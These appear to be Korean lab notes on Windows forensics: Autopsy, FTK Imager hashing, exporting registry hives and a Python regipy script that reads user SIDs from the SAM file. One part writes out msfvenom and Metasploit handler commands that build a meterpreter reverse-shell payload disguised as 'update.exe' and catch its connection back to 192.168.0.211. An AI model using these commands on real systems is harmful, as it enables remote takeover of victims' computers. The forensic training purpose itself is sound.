악성코드 침투후에 포렌식 분석 시작
무료 포렌식 프로그램 = autopsy
OSForensics
바탕화면 설치여부 확인
무결성 > 해시값으로 무결성 입증
케이스 3개까지만 가능
기존 > 삭제 >
시나리오
관리자 실수로 악성코드가 침투된 경우는?
0) stManager 해시값은?
2 e = 둘 에코
5 0 O = 다섯 0사선넣기 오
1) 컴퓨터 부팅 시간이 언제냐?
2) 진짜 사용자는 누구냐?
3) 무슨 사이트에 접속했냐?
4) 무슨 파일을 받았냐?
5) 파일을 실행했냐?
리눅스 > 로그 분석
윈도우 > 이벤트,레지스트리,약간의 로그
windows > system32 > config
5개의 레지스트리 파일
SAM
SECURITY
SOFTWARE
SYSTEM
DEFAULT
우클릭해서 export로 밖으로 가져오기
FTK_Imager 설치
add evidence item해서 이미지 넣어주고
이미지에서 우클릭하고 verify drive/image > 해시값 추출
MD5
d824210af4a8f2639fbd12390726904a
SHA1
11be50387e8eb6994fce035aee22bdfb5f48a217
msfvenom --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.0.211 LPORT=7777 -b "\x00" -f exe -o /home/kali/update.exe
msfconsole -r malware.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.211
set lport 7777
exploit
dkskzhsek tjfcl
conda create -n py38 python=3.8
conda env list
conda activate py38
SAM파일 추출하기
import regipy
def explore_user_info(hive, path):
try:
# 해당 경로가 존재하는지 확인
key = hive.get_key(path)
print(f"Found key at: {path}")
# 서브키가 있을 경우, 서브키 탐색 (사용자 계정 정보는 이곳에 있을 가능성이 있음)
subkeys = key.iter_subkeys()
if subkeys:
for subkey in subkeys:
print(f"User SID: {subkey.name}") # SID를 사용자 계정 식별자로 표시
user_subkey_path = f"{path}\\{subkey.name}"
# 각 SID에 해당하는 사용자 정보 출력
explore_user_info(hive, user_subkey_path)
else:
print("No subkeys found for user info.")
# 값을 확인하여 사용자 정보 출력 (값이 존재하면 사용자 관련 정보일 가능성 있음)
values = key.iter_values()
if values:
for value in values:
print(f"Value Name: {value.name}")
if hasattr(value, 'value'):
print(f"Value Data: {value.value}") # 값 데이터 출력
else:
print("No value attribute found for this value.")
if hasattr(value, 'value_type'):
print(f"Value Type: {value.value_type}")
else:
print("No value_type attribute found for this value.")
else:
print("No values found for user info.")
except Exception as e:
print(f"Error exploring {path}: {e}")
def main():
sam_path = r'C:\Users\PC11\Desktop\export\SAM'
print("start program")
# SAM 파일을 Hive 객체로 로드
hive = regipy.RegistryHive(sam_path)
print("Exploring user information in SAM file...")
# 'SAM\Domains\Account\Users' 경로에서 사용자 정보 탐색
explore_user_info(hive, r'HKEY_LOCAL_MACHINE\SAM\Domains\Account\Users')
if __name__ == "__main__":
main()